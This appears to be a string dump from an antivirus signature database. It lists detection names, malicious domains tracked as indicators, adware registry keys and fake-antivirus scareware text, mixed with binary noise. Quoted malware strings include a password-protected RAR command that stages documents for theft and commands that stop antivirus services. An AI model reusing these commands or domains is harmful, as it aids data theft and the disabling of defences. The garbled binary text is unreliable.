!#SLF:AGGR:Masquerade_as!powershell.exe '\\!#SLF:AGGR:Masquerade_as!powershell.exe !#SLF:AGGR:Masquerade_as!psshutdown.exe '\\!#SLF:AGGR:Masquerade_as!psshutdown.exe !#SLF:AGGR:Masquerade_as!sqltoolsps.exe '\\!#SLF:AGGR:Masquerade_as!sqltoolsps.exe !#ALF:TTCTX:AMSI2:ML:Jamsi:Detect:60 $`!#ALF:TTCTX:AMSI2:ML:Jamsi:Detect:60 !#ALF:TTCTX:AMSI2:ML:Jamsi:Detect:70 $`!#ALF:TTCTX:AMSI2:ML:Jamsi:Detect:70 !#ALF:TTCTX:AMSI2:ML:Jamsi:Detect:80 $`!#ALF:TTCTX:AMSI2:ML:Jamsi:Detect:80 !#ALF:TTCTX:AMSI3:ML:Jamsi:Detect:70 $`!#ALF:TTCTX:AMSI3:ML:Jamsi:Detect:70 !#ALF:TTCTX:AMSI3:ML:Jamsi:Detect:80 $`!#ALF:TTCTX:AMSI3:ML:Jamsi:Detect:80 !#ALF:TTCTX:AMSI3:ML:Jamsi:Detect:90 $`!#ALF:TTCTX:AMSI3:ML:Jamsi:Detect:90 !#ALF:TTCTX:AMSI3:ML:Jamsi:Detect:95 $`!#ALF:TTCTX:AMSI3:ML:Jamsi:Detect:95 !#SLF:AGGR:ScriptDroppedByStub!mshta $`!#SLF:AGGR:ScriptDroppedByStub!mshta !#SLF:AGGR:Masquerade_as!accesschk64.exe (]!#SLF:AGGR:Masquerade_as!accesschk64.exe !#SLF:AGGR:Masquerade_as!autorunsc64.exe (]!#SLF:AGGR:Masquerade_as!autorunsc64.exe !#SLF:AGGR:Masquerade_as!installutil.exe (]!#SLF:AGGR:Masquerade_as!installutil.exe !#SLF:AGGR:Masquerade_as!vboxdrvinst.exe (]!#SLF:AGGR:Masquerade_as!vboxdrvinst.exe !#SLF:AGGR:Masquerade_as!roccat_swarm.exe )^!#SLF:AGGR:Masquerade_as!roccat_swarm.exe !#SLF:AGGR:Masquerade_as!scriptrunner.exe )^!#SLF:AGGR:Masquerade_as!scriptrunner.exe !#SLF:AGGR:ScriptDroppedByStub!cscript &b!#SLF:AGGR:ScriptDroppedByStub!cscript !#SLF:AGGR:ScriptDroppedByStub!dllhost &b!#SLF:AGGR:ScriptDroppedByStub!dllhost !#SLF:AGGR:ScriptDroppedByStub!wscript &b!#SLF:AGGR:ScriptDroppedByStub!wscript !#SLF:AGGR:Masquerade_as!vsjitdebugger.exe *_!#SLF:AGGR:Masquerade_as!vsjitdebugger.exe !#SLF:AGGR:ScriptDroppedByStub!rundll32 'c!#SLF:AGGR:ScriptDroppedByStub!rundll32 !#SLF:AGGR:Masquerade_as!runscripthelper.exe ,a!#SLF:AGGR:Masquerade_as!runscripthelper.exe !#SLF:AGGR:Masquerade_as!presentationhost.exe -b!#SLF:AGGR:Masquerade_as!presentationhost.exe !#SLF:TTCTX:Trojan:PowerShell/AmsiTampering.A -c!#SLF:TTCTX:Trojan:PowerShell/AmsiTampering.A !#SLF:AGGR:Masquerade_as!infdefaultinstall.exe .c!#SLF:AGGR:Masquerade_as!infdefaultinstall.exe !#SLF:Trojan:JS/SuspiciousScriptDrop.B!rundll32 /b!#SLF:Trojan:JS/SuspiciousScriptDrop.B!rundll32 !#SLF:AGGR:Masquerade_as!diskext.exe $o!#SLF:AGGR:Masquerade_as!diskext.exe !#SLF:AGGR:Masquerade_as!handle.exe #q!#SLF:AGGR:Masquerade_as!handle.exe !#SLF:TTCTX:Trojan:PowerShell/MSILAmsiTamper.B .f!#SLF:TTCTX:Trojan:PowerShell/MSILAmsiTamper.B !#SLF:AGGR:PeDroppedByStub!pwsh v!#SLF:AGGR:PeDroppedByStub!pwsh !#SLF:AGGR:LnkDroppedByStub!pwsh  w!#SLF:AGGR:LnkDroppedByStub!pwsh !#SLF:AGGR:Masquerade_as!register-cimprovider.exe 1f!#SLF:AGGR:Masquerade_as!register-cimprovider.exe !#SLF:TTCTX:Trojan:PowerShell/Win32ExecutionApi.B!amsi 6b!#SLF:TTCTX:Trojan:PowerShell/Win32ExecutionApi.B!amsi !#SLF:AGGR:Masquerade_as!procdump.exe %t!#SLF:AGGR:Masquerade_as!procdump.exe !#SLF:TTCTX:Trojan:PowerShell/MSILAmsiTamperDetect.C 4e!#SLF:TTCTX:Trojan:PowerShell/MSILAmsiTamperDetect.C !#SLF:AGGR:Masquerade_as!bginfo.exe #x!#SLF:AGGR:Masquerade_as!bginfo.exe !#SLF:AGGR:Masquerade_as!livekd.exe #x!#SLF:AGGR:Masquerade_as!livekd.exe !#SLF:AGGR:Masquerade_as!psexec.exe #x!#SLF:AGGR:Masquerade_as!psexec.exe !#SLF:AGGR:Masquerade_as!psfile.exe #x!#SLF:AGGR:Masquerade_as!psfile.exe !#SLF:AGGR:Masquerade_as!psinfo.exe #x!#SLF:AGGR:Masquerade_as!psinfo.exe !#SLF:AGGR:Masquerade_as!pskill.exe #x!#SLF:AGGR:Masquerade_as!pskill.exe !#SLF:AGGR:Masquerade_as!pslist.exe #x!#SLF:AGGR:Masquerade_as!pslist.exe !#SLF:AGGR:Masquerade_as!psping.exe #x!#SLF:AGGR:Masquerade_as!psping.exe !#SLF:AGGR:Masquerade_as!sysmon.exe #x!#SLF:AGGR:Masquerade_as!sysmon.exe !#SLF:TTCTX:SchTaskCmd.B!psh !#SLF:AGGR:ScriptDroppedByStub!pwsh #z!#SLF:AGGR:ScriptDroppedByStub!pwsh !#SLF:AGGR:Masquerade_as!hex2dec.exe $y!#SLF:AGGR:Masquerade_as!hex2dec.exe !#SLF:AGGR:Masquerade_as!procexp.exe $z!#SLF:AGGR:Masquerade_as!procexp.exe !#SLF:AGGR:Masquerade_as!sdelete.exe $z!#SLF:AGGR:Masquerade_as!sdelete.exe !#SLF:AGGR:Masquerade_as!streams.exe $z!#SLF:AGGR:Masquerade_as!streams.exe !#SLF:AGGR:ScriptDroppedByOffice!lync %z!#SLF:AGGR:ScriptDroppedByOffice!lync !#SLF:AGGR:Masquerade_as!syncappvpublishingserver.exe 5j!#SLF:AGGR:Masquerade_as!syncappvpublishingserver.exe !#SLF:TTCTX:AMSI2:ML:Ps !#SLF:AGGR:PdfDroppedByOffice!misc !#SLF:AGGR:Masquerade_as!clockres.exe %|!#SLF:AGGR:Masquerade_as!clockres.exe !#SLF:AGGR:Masquerade_as!junction.exe %|!#SLF:AGGR:Masquerade_as!junction.exe !#SLF:AGGR:Masquerade_as!ntfsinfo.exe %|!#SLF:AGGR:Masquerade_as!ntfsinfo.exe !#SLF:AGGR:Masquerade_as!pipelist.exe %|!#SLF:AGGR:Masquerade_as!pipelist.exe !#SLF:AGGR:Masquerade_as!psgetsid.exe %|!#SLF:AGGR:Masquerade_as!psgetsid.exe !#SLF:AGGR:Masquerade_as!pspasswd.exe %|!#SLF:AGGR:Masquerade_as!pspasswd.exe !#SLF:AGGR:Masquerade_as!sigcheck.exe %|!#SLF:AGGR:Masquerade_as!sigcheck.exe !#SLF:AGGR:PdfDroppedByOffice!outlook %|!#SLF:AGGR:PdfDroppedByOffice!outlook !#SLF:AGGR:Masquerade_as!findlinks.exe &~!#SLF:AGGR:Masquerade_as!findlinks.exe !#SLF:AGGR:Masquerade_as!pendmoves.exe &~!#SLF:AGGR:Masquerade_as!pendmoves.exe !#SLF:AGGR:Masquerade_as!psloglist.exe &~!#SLF:AGGR:Masquerade_as!psloglist.exe !#SLF:AGGR:Masquerade_as!psservice.exe &~!#SLF:AGGR:Masquerade_as!psservice.exe !#SLF:AGGR:Masquerade_as!pssuspend.exe &~!#SLF:AGGR:Masquerade_as!pssuspend.exe !#SLF:TTCTX:AMSI2:ML:Js !#SLF:AGGR:ScriptDroppedByOffice!outlook (}!#SLF:AGGR:ScriptDroppedByOffice!outlook !#SLF:AGGR:Masquerade_as!notmyfault.exe !#SLF:AGGR:Masquerade_as!psloggedon.exe !#SLF:AGGR:Masquerade_as!regdelnull.exe !#SLF:AGGR:ScriptDroppedByOffice!commsapps !#SLF:TTCTX:AMSI2:ML:Vbs !#SLF:TTCTX:SCHEDULEDTASK_AMSI.A !#ALF:TTCTX:PsKeyloggersClipDetect.gen !#SLF:AGGR:Masquerade_as!logonsessions.exe !#ALF:TTCTX:PsKeyloggersVDetect.gen !#ALF:TTCTX:CaptureScreenBitDetect.BE!su !#SLF:TTCTX:Trojan:PowerShell/AmsiTamperingDetect.A !#SLF:TTCTX:AMSI2:ML:Jamsi !#SLF:TTCTX:Trojan:PowerShell/MSILAmsiTamperDetect.B !#SLF:AGGR:PeDroppedByStub!wmiprvse >]h|* P(L%G yS^ko #Af/5 %Vu+e' iP3]%UI h^2vv '\\ ,l h\"\t+C g 9P~' PmIR= \t ]p\" <-BH( x*4^_- ETpnd UMtb# <lWhf |VU{O aq@xQ[ ^x.J8 |q;,YO l,`Sz8!< >he]( ! Wx. !#ALF:HeraklezEval:Ransom:HTML/MalScript +(!#ALF:HeraklezEval:Ransom:HTML/MalScript A Zl><yF Qbo<nmV 0Mq^Y.) 0Mq^u F: ka EI9lp QCM\tg QCM A/ QCM(JO QCM)~ QCM+L QCM1e# QCMBlU. QCMF;E QCMM: QCMPDl. QCMaEv\" QCMc+ !#ALF:HeraklezEval:PUA:Win32/InstallCore +(!#ALF:HeraklezEval:PUA:Win32/InstallCore D(=r4 `wd\\Z \td-*<+ a68HL \t2R<Q \tVGqP w9 c:\\temp\\wpdnse\\4abb a.nls c:\\*.doc c:\\*.docx c:\\*.pdf c:\\*.mvd c:\\*.tif c:\\*.xls c:\\ \"c:\\program files\\winrar\\rar.exe\" u -apf -r -ed -tk -dh -sl  -hpthistw0piece -ta  c:\\temp\\wpdnse\\4abb a@.nls f:\\*.doc f:\\*.docx f:\\*.pdf f:\\*.mvd f:\\*.tif f:\\*.xls f:\\ !#NRI:Dirtvantunisi.20210830 p\"//datacentral.cc p .datacentral.cc //navar.co .navar.co //reelmi.co .reelmi.co //vktio.co .vktio.co p0//americanbethgroup.com p..americanbethgroup.com p*//cloudcompute3k.com p(.cloudcompute3k.com p0//foxmailservices.email p..foxmailservices.email p //webdata.email .webdata.email pTnuxcol-secondary.z29.web.core.windows.net p&//shuztacomme.rest p$.shuztacomme.rest p\"571917.selcdn.ru p\"578500.selcdn.ru p\"583119.selcdn.ru p\"584615.selcdn.ru p\"585808.selcdn.ru p\"585809.selcdn.ru p\"585810.selcdn.ru p(//waveformtech.shop p&.waveformtech.shop p(//zinetuskacdn.shop p&.zinetuskacdn.shop p&//dksupplies.store p$.dksupplies.store !#NRI:Dirtvantinize.20210830 p //akamainet.com .akamainet.com p$//alfanalytic.com p\".alfanalytic.com p2//archives-firmwares.com p0.archives-firmwares.com p&//asdstatistic.com p$.asdstatistic.com //cosmstat.com .cosmstat.com p.//developmentsdata.com p,.developmentsdata.com p&//dlinknetwork.com p$.dlinknetwork.com p$//gtstatistic.com p\".gtstatistic.com p,dev.juniperupdate.com p0dev.mikrotifirmware.com p.//mikrotikfirmware.com p,.mikrotikfirmware.com p //statislog.com .statislog.com p\"//styservice.com p .styservice.com //tirstat.com .tirstat.com p //veeamdata.com .veeamdata.com //3comnet.net .3comnet.net p www.amibios.net p4www.windowsrepository.net !#NRI:Dirtvantufiti.20210830 p //seachbeet.art .seachbeet.art p //trekpower.art .trekpower.art pRbrdocumentosx.s3.us-west-1.amazonaws.com pLinformexbr.s3.us-west-1.amazonaws.com pRmasterplusdoc.s3.us-west-1.amazonaws.com pNwebmasterx2.s3.us-west-1.amazonaws.com p,//prestiobark.digital p*.prestiobark.digital p(//trekpower.digital p&.trekpower.digital p\"//barielregis.me p .barielregis.me //brinpit.me .brinpit.me p*//oficemasterples.me p(.oficemasterples.me p(//pedalmercadosx.me p&.pedalmercadosx.me p&//princidomanex.me p$.princidomanex.me p$//relamercadox.me p\".relamercadox.me p //webmasterx.me .webmasterx.me p,gaspar-op.duckdns.org p2gasparavisos.duckdns.org p.pedrexpgbl.duckdns.org !#NRI:MACE:Domains:CobaltStrike_25.A `\\|?49 :#egv. p%vB' !#ALF:JASYP:PWS:MSIL/Mintluks!atmn /filealign:0x r`B/filealign:0x  /optimize+ /platform:x86 /debug- /target:winexe !#ALF:JASYP:Worm:Win32/Brontok!atmn c:\\windows\\system32\\s c:\\documents and settings\\alan tracey\\lo\\dv 01c:\\documents and settings\\alan tracey\\lo\\dv 0%c:\\windows\\system32\\s \ty.exe 02c:\\documents and settings\\alan tracey\\lo\\dv \"c:\\windows\\system32\\s  `oel ;0 `oel \"c:\\documents and settings\\alan tracey\\lo\\dv [c:\\windows\\system32\\s nc:\\windows\\system32\\s nc:\\documents and settings\\alan tracey\\lo\\dv !#ALF:JASYP:Backdoor:MSIL/Androm!atmn o` \"m o` \"m o` \"m NB):S g)gS[| tt:set:ma= g)gS;~ 7uuiv MZz.#N g)gSj provider=microsoft. .oledb. .0;data source=c:\\users\\mdeservi\\onedrive - lowe's companies inc\\desktop\\pto\\troutmanpto_db. o` #k o` #k  `oel ;0 `oel C0\" ]  `oel ;0 `oel C0$ ] c:\\win YU6}T YU6}y F,i=J u13s( \"1$nH iQs>@ $p\\=%p !#ALF:HeraklezEval:HackTool:Win32/AutoKMS!rfn +-!#ALF:HeraklezEval:HackTool:Win32/AutoKMS!rfn qB<n& ?-lN(?. CW7;T /&O\\K4\t /&O\\K4= /&O\\K4EO &M[,A _[U4Jd Wm7A5e $ Si0 %p\\:&p !#ALF:HeraklezEval:Trojan:Win32/Ymacco!rfn +*!#ALF:HeraklezEval:Trojan:Win32/Ymacco!rfnFCz !t{b~ 3Qbl> HV#ho  i%nhe /&O\\K44 +*K~0 +!jWt& -c';X *jO8Z RW5e+$z RW>UG %zNd( lXj-W X9t|` GXxn$ Tm8GW &\"OpW t\"[)/zm t18?]D t18?] As;v&5R k#y\ti aVyz- 71'z3  </_' [Jhr\\ <3Z=R  <3Z=R  <7$h <9 Z.W   <9 Z.W  bH(C) <9c&  <9c&  <:!~  <:1[  <:ke uTmmY8M <A,EZ  <A,EZ  <Bp+ M 0b/  <H=) uSN2?9#H  <IL] [\\9Y  <IL] [\\9Y  <JjF <KHW<4^  <KHW<4^ <M#w[  <M#w[  <Mzw j,N,(\t;  <N^R  <Q|r  <R]n i*t!fL  <Zu  <[C(}  <[C(} -Y :< v?4S<9[ <a-mXm  <a-mXm  <b(`  <kR/ -{MV' 5> h  <q\"Gdf  <q\"Gdf  <tc! <w6V<  <w6V<~c  <wm~ o\"Ur0+ %-K\"G^'e@ !\\f{M f=&k( Xr16# ;KTw.f l^t0* 21;Yo !C!IW 3b/#m QO]BNG l pvnO FN-o5 % }Be e<(^* ^B[tdm ^b'qS i4B3Dp CUFu) $H;(P 5]#,c )dOd:4o 7}IR` {jJxF~, Ft X'W a]aD^Ycu ^xiMG Z_X\\T GDp_Yz ,YWMn\t n\"DjU3 $8H4)e Yxe`b @i)+B( 0' <%Ujs )|$Yb`\t =Z6Sd BHko0` Ur^6HY # ]R0 NevN, o)[SM sGZFM `#~9 cyt5+_m TV`\t&Z X!mn[>  ?1-#g Sg&*- You Now Hacked !!! Net Stop Norton Antivirus Auto Protect Service Net Stop mcshield Net Stop mcshield~ x{Db~ \t{qgL *OL^! !Istbar.A !Small.AC !Small.AB !Wintrim.B !Killav.BF !Agent.C !Ranky.A !Ranky.B !Killav.AL !Killav.BD !Killav.AT !Killav.AX !Killav.BB MonitoringTool:Win32/Iambigbrother \"MonitoringTool:Win32/Iambigbrother \\fonts\\system\\explorer\\mru\\] %\\fonts\\system\\explorer\\mru\\] !Ldpinch.P !Ldpinch.R !WebCamNow.A !IED.1_01 !ICQNotify !ICQPager 7!\"t =rp !Startpage.Y !SecondThought.A !SecondThought.C BrowserModifier:Win32/iDonateBHO   BrowserModifier:Win32/iDonateBHO \\idonate.dll] $\\idonate.dll] !EGroup.C SOFTWARE\\Microsoft\\Internet Explorer\\AdvancedOptions\\BROWSE\\FRIENDLY_ERRORS SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E96D-E325-11CE-BFC1-08002BE10318} dial a PREMIUM RATE NUMBER that you are the line subscriber  --IEAccess nocreditcard.com/dial.php nocreditcard.com/dial.php_ \\ieaccess2.dllc& %\\ieaccess2.dllc& Software\\Classes\\software\\egroup  Software\\Classes\\software\\egroupc&  Software\\Classes\\software\\egroupc' software\\classes\\ieaccess2.iedial !software\\classes\\ieaccess2.iedialc) software\\classes\\ieaccess2.iedial.1 #software\\classes\\ieaccess2.iedial.1c- software\\classes\\ieaccess2.iedial\\clsid 'software\\classes\\ieaccess2.iedial\\clsidc. software\\classes\\ieaccess2.iedial\\curver (software\\classes\\ieaccess2.iedial\\curvercf software\\microsoft\\code store database\\distribution units\\{1d2dca0d-b30f-40ad-9690-087105f214ec} `software\\microsoft\\code store database\\distribution units\\{1d2dca0d-b30f-40ad-9690-087105f214ec}] !IELoader :GDV  \\py.exe_ \\aaa.exe_ \\zzb.exe_ \\iagold.exe_( \\downloaded program files\\ieloader.exe] :G_\t%\\py.exe_ %\\aaa.exe_ %\\zzb.exe_ %\\iagold.exe_($\\downloaded program files\\ieloader.exe] !IEPlugin ISOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects  46fBi500000000000_ !Profile.Interests.IE.Favorites.%i Name \"Internet Explorer\" &{871A54C1-1EB3-48bd-A879-5DBA4EF16BE6} bush_ssevent  klinton_ssmmf salan_ssmutant salan_ssmutantg 69bc- 8^(~(  )oj.g g+SwY g&PuP IEPluginDesktopToolbar IEPluginDesktopRebar Min ToolBar Go ToolBar Software\\dsktb\\ http://search.shopnav.com/ http://search.shopnav.com/_ \\systb.exe_ $\\systb.exe_ \\wupdt.exe_ $\\wupdt.exe_ \\winserv.exe_ $\\winserv.exe_ \\ieplugin.dll_ %\\ieplugin.dll_ \\winobject.dll_ $\\winobject.dll_ \\winobject.dll`\t \\se\\v11` %\\winobject.dll`\t&\\se\\v11` \\-games-` \\-music-` \\-entertainment-` \\-communications-` \\-business directory-` \\-health and fitness-` \\-computers and internet-c Software\\salm  Software\\salmc SOFTWARE\\salm  SOFTWARE\\salmc Software\\intexp Software\\intexpc Software\\intexp\\Config Software\\intexp\\Configc  SOFTWARE\\Classes\\Wbho.Band SOFTWARE\\Classes\\Wbho.Bandc  SOFTWARE\\Classes\\Wbho.Bandc\" SOFTWARE\\Classes\\Wbho.Band.1 SOFTWARE\\Classes\\Wbho.Band.1c\" SOFTWARE\\Classes\\Wbho.Band.1c# Software\\dsktb\\DesktopToolbar Software\\dsktb\\DesktopToolbarc# Software\\intexp\\MyFileSystem2 Software\\intexp\\MyFileSystem2c) Software\\Classes\\imitoolbar.imitool #Software\\Classes\\imitoolbar.imitoolc) #Software\\Classes\\imitoolbar.imitoolc+ Software\\Classes\\imitoolbar.imitool.1 %Software\\Classes\\imitoolbar.imitool.1c+ Software\\Classes\\imitoolbar.leftframe %Software\\Classes\\imitoolbar.leftframec+ %Software\\Classes\\imitoolbar.leftframec- Software\\Classes\\imitoolbar.bottomframe 'Software\\Classes\\imitoolbar.bottomframec- Software\\Classes\\imitoolbar.leftframe.1 'Software\\Classes\\imitoolbar.leftframe.1c- Software\\Classes\\imitoolbar.popupwindow 'Software\\Classes\\imitoolbar.popupwindowc- 'Software\\Classes\\imitoolbar.popupwindowc. Software\\Classes\\imitoolbar.popupbrowser (Software\\Classes\\imitoolbar.popupbrowserc. (Software\\Classes\\imitoolbar.popupbrowserc/ Software\\Classes\\imitoolbar.bottomframe.1 )Software\\Classes\\imitoolbar.bottomframe.1c/ Software\\Classes\\imitoolbar.popupwindow.1 )Software\\Classes\\imitoolbar.popupwindow.1c/ )Software\\Classes\\imitoolbar.popupwindow.1c0 Software\\Classes\\imitoolbar.popupbrowser.1 *Software\\Classes\\imitoolbar.popupbrowser.1c0 *Software\\Classes\\imitoolbar.popupbrowser.1cA SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE Help ;SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE HelpcA SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SE Help ;SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SE HelpcB SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\BMSE dbl <SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\BMSE dblcD SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEC system >SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEC systemcF SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SE Assistant @SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SE AssistantcH SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Sidebar Search BSOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Sidebar SearchcI SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Search Function CSOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Search FunctioncJ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Search Assistant DSOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Search Assistantcf SOFTWARE\\Microsoft\\Code Store Database\\Distribution Units\\{666DDE35-E955-11D0-A707-000000521958} `SOFTWARE\\Microsoft\\Code Store Database\\Distribution Units\\{666DDE35-E955-11D0-A707-000000521958}cf SOFTWARE\\Microsoft\\Code Store Database\\Distribution Units\\{666E4D35-E955-11D0-A707-000000521958} `SOFTWARE\\Microsoft\\Code Store Database\\Distribution Units\\{666E4D35-E955-11D0-A707-000000521958}cf software\\microsoft\\code store database\\distribution units\\{556dde35-e955-11d0-a707-000000521958} `software\\microsoft\\code store database\\distribution units\\{556dde35-e955-11d0-a707-000000521958}cj Software\\microsoft\\windows\\currentversion\\uninstall\\Internet Explorer Toolbar - Intelligent Explorer dSoftware\\microsoft\\windows\\currentversion\\uninstall\\Internet Explorer Toolbar - Intelligent Explorer] BrowserModifier:Win32/IETray Software\\Classes\\iempg.iempgobj Software\\Classes\\iempg.iempgobjc% Software\\Classes\\iempg.iempgobjc' Software\\Classes\\iempg.iempgobj.1 !Software\\Classes\\iempg.iempgobj.1c' !Software\\Classes\\iempg.iempgobj.1c: software\\microsoft\\internet explorer\\menuext\\&define 4software\\microsoft\\internet explorer\\menuext\\&definecB software\\microsoft\\internet explorer\\menuext\\&search the web <software\\microsoft\\internet explorer\\menuext\\&search the web] !IExploresTrojan \\iexplore.exe] %\\iexplore.exe] BrowserModifier:Win32/IGetNet a?GIz  X~cog `3yeY shell322.exe bho.dl_ bho.dllbho.dl_ Overwriting HOSTS file '%s'. iGetNet \\nlnp29.exe_ \\rsp001.dll_ _ %\\nlnp29.exe_ %\\rsp001.dll_ \\winstart.exe_ %\\winstart.exe_ \\winstart001.exe_ %\\winstart001.exe_ \\update_removeold.dllc! %\\update_removeold.dllc! Software\\Classes\\rsp.bizlgk Software\\Classes\\rsp.bizlgkc! Software\\Classes\\rsp.bizlgkc' Software\\Classes\\bho.clsurlsearch !Software\\Classes\\bho.clsurlsearchc' !Software\\Classes\\bho.clsurlsearchc1 software\\vb and vba program settings\\ie rsp +software\\vb and vba program settings\\ie rspcf software\\microsoft\\code store database\\distribution units\\{60e78cac-e9a7-4302-b9ee-8582ede22fbf} `software\\microsoft\\code store database\\distribution units\\{60e78cac-e9a7-4302-b9ee-8582ede22fbf}] MonitoringTool:Win32/IllLogger MonitoringTool:Win32/IMSIWebScreenCapture )MonitoringTool:Win32/IMSIWebScreenCapture MonitoringTool:Win32/Informer Jiang !Insider \\mdioctl.exe_ $\\mdioctl.exe_ c:\\mdioctl.exe_ \\outlook express\\waberes.dll] &\\outlook express\\waberes.dll] !UnBob !EGroup.G !EGroup.G@@$ eghtmldialer.dll (http://network.nocreditcard.com/DialHTML SOFTWARE\\egroup IEDiscoShowTime TopMostIEDisco 6The connection has been cut, do you want to reconnect? RASPHONE.EXEg  ()]fg []7xb []7xb\t\t CEGException::CEGException() entered eghost_ dorasmonitor C|./\" z\\M=b4 'o+A;#W \\mseggrpid.dl_ %\\mseggrpid.dl_ \\exedialer.exe_ $\\exedialer.exe_ \\nocreditcard.lnk_ \\nocreditcard.lnk_( \\downloaded program files\\netslv32.inf` \\nocreditcard.lnk_($\\downloaded program files\\netslv32.inf` \\instant access\\center` &\\instant access\\center` \\instant access\\dialerc) &\\instant access\\dialerc) SOFTWARE\\CLASSES\\EGDHTML.EGDialHTML #SOFTWARE\\CLASSES\\EGDHTML.EGDialHTMLc* SOFTWARE\\CLASSES\\EGDialObject.EGDial $SOFTWARE\\CLASSES\\EGDialObject.EGDialc+ SOFTWARE\\CLASSES\\EGDHTML.EGDialHTML.1 %SOFTWARE\\CLASSES\\EGDHTML.EGDialHTML.1c, SOFTWARE\\CLASSES\\EGDialObject.EGDial.1 &SOFTWARE\\CLASSES\\EGDialObject.EGDial.1c, SOFTWARE\\Classes\\EGCOMSERVICE.EGComSvc &SOFTWARE\\Classes\\EGCOMSERVICE.EGComSvcc. SOFTWARE\\Classes\\E (SOFTWARE\\Classes\\E Lua:VobfusFileDrop !#Lua:MsBuildSuspicious.B !#Lua:MsBuildSuspicious.BObMpAttributes installutil.exe 254053470526 attrmatch_rescan_notmyapp   7db300d4c5ee (.+\\) 43b33d80ac7c 43b33d80ac7cIncludesBMLuaLib  DllMsiexecInject.A_CmdLineDll ([%w%p]+);([%w%p]+)  1d5b369316017 \tYEF@ !#PEPCODE:Trojan:Win32/Vundo.gen!BK.2 !ih+Lu WWT/0q (H;C `5AyN IkC=x Ls5?' Ct>D# CssS < .0Knq2 )A ;% =qz;0& \\S{Zy` y\"LnY:6 Q~Gk: [#%Co QXm1|V #)fS.Y2 )V0nr 01f$S  % ^^N }w&~| {74pv ,N..h DA {C  %\tDy 7;%A7P }v3]A K(ty:of i=}py  aDu@@ fgn>E =),)  mw&qN Gmd@q Y $iu+ % |Pm)  % |Pm)  %#QA o_1[a= JzQr<2 %1'@cF  %1'@cF ^ d|p Xm,f4e  %3@z SY-.1  %8fa  %9gX Eg;k' %V~ny {4fA2v %=lFZ  %=lFZ  %>:_  %>aH cZt|h  %CY` %C^kD  %C^kD L}7 lx  %HS]  %H{w `0 ]XJ  %K5s Y|O#7 lg H#y |C8WmB  %PI\\ gsX\"~r  %SfC L.GIF L1.GIF AntiVirus  kill /F /IM Automatic Updates feture is enabled. onclick=\"myNav(3001);\" type=button value=\"Activate Now! onclick=\"navigatetothevcation(3001);\" type=button value=\"Activate Now! .innerHTML='Spyware protection .innerHTML = 'Updates are /buy.php?fram .php?frame=1 &advid=%s &advid=%sx LeostreamConnect Infected! Filesystem: %s Registry: %s File: %d, Signature: %s Registry scan... File system scan... Express scan... Databases not found. ANTIVIRUS %s.quarantine Data loss risk: %s  Privacy risk: %s %d threats removed Your license has expired. Please register again to obtain new license! You have to agree that you understand that your system protection is disabled Applicaion script error: Security Center is minimized, but is still active to protect your system. BPlease enter your activation code Very High Severe HighVery HighSevere %s%s%s%s%s Jt Ju H%`Zb 4b'_k 8D9:b9 W9J.xJ  |&(9 5S|+U HSTR:FakeSecSenUninstall&SIGATTR:FakeSecSenUninstall 84HSTR:FakeSecSenUninstall&SIGATTR:FakeSecSenUninstall (PEPCODE:Program:Win32/Antivirus.1|PEPCODE:Program:Win32/Antivirus.3)&HSTR:Program:Win32/Antivirus.2_ hd(PEPCODE:Program:Win32/Antivirus.1|PEPCODE:Program:Win32/Antivirus.3)&HSTR:Program:Win32/Antivirus.2_ \\drantispy.lnk_ \\MSAntivirus.lnk_ \\System A.V..lnk_ \\Windows A.V..lnk_ \\ms antivirus.lnk_ \\Advanced A.V..lnk_ \\Ultimate A.V..lnk_ \\Adv. Antivirus.lnk_ \\microantivirus.lnk_ \\Micro Antivirus.lnk_ \\Ultra Antivirus.lnk_ \\power antivirus.lnk_ \\AntiVirus Sentry.lnk_ \\system antivirus.lnk_ \\spyware preventer.lnk_ \\windows antivirus.lnk_ \\advanced antivirus.lnk_ \\ultimate antivirus.lnk_ \\Micro Antivirus 2009.lnk_ \\Ultra Antivirus 2009.lnk_ \\vista antivirus 2008.lnk_ \\system antivirus 2008.lnk_ \\windows antivirus 2008.lnk_ \\ultimate antivirus 2008.lnk_! \\xpert antivirus enterprise.lnk` \\AVS` &\\AVS` \\SPP` &\\SPP` \\UAV` &\\UAV` \\VAV` &\\VAV` \\WAV` &\\WAV` \\aav` &\\aav` \\msa` &\\msa` \\msx` &\\msx` \\pwa` &\\pwa` \\pwx` &\\pwx` \\sav` &\\sav` \\xpa` \\MicroAV` \\UltraAV` &\\xpa` &\\MicroAV` &\\UltraAV` \\drantispy` &\\drantispy` \\ieantivirus` &\\ieantivirus` \\ms antivirus` &\\ms antivirus` \\MicroAntivirus` &\\MicroAntivirus` \\Ultra Antivirus 2009c= &\\Ultra Antivirus 2009c= SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AVS 7SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AVSc? SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WinAV 9SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WinAVcA SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\UltraAV \\aav.cplq \\msa.cplq \\msx.cplq \\pwa.cplq \\pwx.cplq \\sav.cplq \\spp.cplq \\uav.cplq \\vav.cplq \\wav.cplq \\xpa.cplq ;SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\UltraAVq %\\aav.cplq %\\msa.cplq %\\msx.cplq 